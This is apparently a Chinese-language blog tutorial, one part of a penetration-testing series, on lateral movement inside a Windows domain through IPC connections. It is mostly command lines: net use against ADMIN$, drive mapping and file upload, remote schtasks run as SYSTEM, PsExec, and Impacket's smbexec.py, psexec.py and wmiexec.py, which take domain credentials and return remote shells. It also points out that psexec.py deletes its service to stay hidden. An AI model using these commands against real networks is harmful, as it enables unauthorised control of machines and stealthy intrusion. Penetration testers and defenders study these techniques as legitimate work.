内网渗透 - 域渗透(4): 基于IPC的远程连接

接上一章

IPC

一般来说,加入到域的机器已经是开启了IPC远程连接功能的

查看Window默认情况下开启的共享

net share


当获取到可用于远程管理的账户时候,便可通过对ADMIN$目录建立IPC连接的方式远程连接到工作组或域内其他计算机以获取目标机器的控制权限。这里需要注意只能使用被添加到远程计算机管理员组的域用户来远程连接,默认情况下只有域管用户有权限对ADMIN$目录建立IPC连接,其实本地的Administrator用户也可以,一般在域环境默认情况下该用户是被禁用的,如果启用了该用户,那么也可以使用Administrator用户远程连接

建立/删除ipc连接

#建立ipc连接
net use \\<IP地址> /u:<域名称>\<账号名> <密码>
#删除ipc连接
net use \\<IP地址> /de /y

目录/文件

#映射远程计算机的磁盘到本地的盘符
net use <本地的盘符>: \\<IP地址>\<远程计算机的磁盘盘符>$ /u:<域名称>\<账号> <密码>
#删除磁盘映射
net use <映射的盘符>: /del /y

上传/下载

#先连接
net use \\<IP地址> /u:<域名称>\<账号名> <密码>
#上传文件
copy <本地文件路径> \\<IP地址>\<远程磁盘盘符>$\<路径>
#下载文件

计划任务执行命令

schtasks /create /tn <任务名称> /U <域\域用户> /P <密码> /tr <命令> /sc ONSTART /s <IP地址> /RU system
schtasks /run /tn <任务名称> /s 192.168.10.2 /U <域\域用户> /P <密码>
schtasks /F /delete /tn <任务名称> /s 域机器ip /U <域\域用户> /p <密码>

PSEXEC

微软官方文档+下载地址
同理,只能使用被添加到远程计算机管理员组的域用户来进行远程连接

先建立IPC连接再使用PSEXEC

net use \\<IP地址> /u:<域名称>\<账号> <密码>
#反弹cmd
psexec.exe \\<IP地址> -s cmd.exe -accepteula

直接使用PSEXEC进行连接

PsExec.exe \\<IP地址> -u <域名称>\<用户名> -p <密码> -s cmd.exe -accepteula

注意

psexec在CS和MSF派生的shell中都无法成功连接,只能在桌面环境中成功

Impacket

Impacket下载链接
GitHub
站内

smbexec.py

py smbexec.py <域名称>/<域用户>:<密码>@<IP地址>
py smbexec.py <本地用户名>:<密码>@<IP地址>


psexec.py

py psexec.py <域名称>/<域用户>:<密码>@<IP地址>
py psexec.py <本地用户名>:<密码>@<IP地址>

与官方psexec.exe相比,psexec.py会自动删除服务从而增加隐蔽性

(如不需要交互式shell直接执行命令)

py psexec.py <域名称>/<域用户>:<密码>@<IP地址> <命令>
py psexec.py <本地用户名>:<密码>@<IP地址> <命令>


wmiexec.py

py wmiexec.py <域>/<用户名>:<密码>@<IP地址> <命令/也可留空返回伪交互shell>

这里不知道为什么执行失败